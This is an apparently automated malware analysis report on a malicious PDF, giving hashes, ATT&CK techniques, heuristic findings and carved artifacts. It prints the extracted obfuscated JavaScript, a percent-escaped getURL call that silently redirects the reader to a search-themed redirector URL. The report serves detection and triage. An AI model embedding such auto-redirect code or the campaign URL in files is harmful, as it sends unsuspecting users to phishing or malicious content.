PDF malware analysis — malicious · b1dca11870b72e8a

MALICIOUS

PDF

55.5 KB Created: 2011-01-14 00:17:38 +02:00 Authoring application: http://google.wiki.usfca.edu/ (via mPDF 5.0) First seen: 2012-10-22

MD5: 78470581729727e4534de83c18742ce4 SHA-1: 4ec3e356b6cffebbae4fd819352f2420d61e10f4 SHA-256: b1dca11870b72e8a3d9a31c53af81b1339f99adce1511faf5db7f00875eea684

168 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript that utilizes the getURL function to redirect the user to a suspicious external URL. The script decodes a URL, which is then used to initiate a connection to 'searchglobalsite.com/in.cgi?17'. This behavior is indicative of a phishing or redirection campaign designed to lead the user to malicious content.

Machine Learning

Nyx PDF Classifier malicious score 0.9041

Heuristics 6

JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Search-themed obfuscated getURL redirector campaign critical PDF_JS_SEARCH_REDIRECTOR_GETURL_CAMPAIGN

PDF document-level JavaScript automatically opens a known search-themed redirector campaign URL from a percent-escaped getURL() target. This is malicious redirect-carrier behavior, not evidence of a PDF parser CVE.
Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR

PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://searchglobalsite.com/in.cgi?17 Referenced by PDF JavaScript
- http://dejavu.sourceforge.netIn PDF document text
- http://dejavu.sourceforge.net/wiki/index.php/LicenseIn PDF document text

Extracted artifacts 5

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0036_000.js`	pdf-javascript-stream	PDF /JS object 36 at offset 0xD64F	136 bytes
SHA-256: `a2620a0be21a26956e8296a3c8163c8c260cb6a920586f15a19c6e170ac30940`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script First 1,000 lines of the extracted script this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%37'))
`stream_003_off00001be8.bin`	decompressed-pdf-stream	PDF FlateDecoded stream at offset 0x1BE8	17772 bytes
SHA-256: `dcd1ba64d747e0bf0b9b8ecc270a7bea07ca4cd5917a768cd217f1d51287033b`
`font_01_sfnt_off00004a03.bin`	pdf-font-stream	PDF embedded font (sfnt) at offset 0x4A03	17892 bytes
SHA-256: `a8ed3909966b10c026f46212f55dce68c94667ce1ac039797d3ebfa1d644dacf`
`font_02_sfnt_off00007843.bin`	pdf-font-stream	PDF embedded font (sfnt) at offset 0x7843	18720 bytes
SHA-256: `4ee4e439b16220e78b319060a3d86ba95cd4b8614522dd4fa1d4df274793c516`
`font_03_sfnt_off0000aad0.bin`	pdf-font-stream	PDF embedded font (sfnt) at offset 0xAAD0	18756 bytes
SHA-256: `e3eeacc5b1f780160b253f248c40fb29e5cb6416f62dd9413712ea70c37f26c9`

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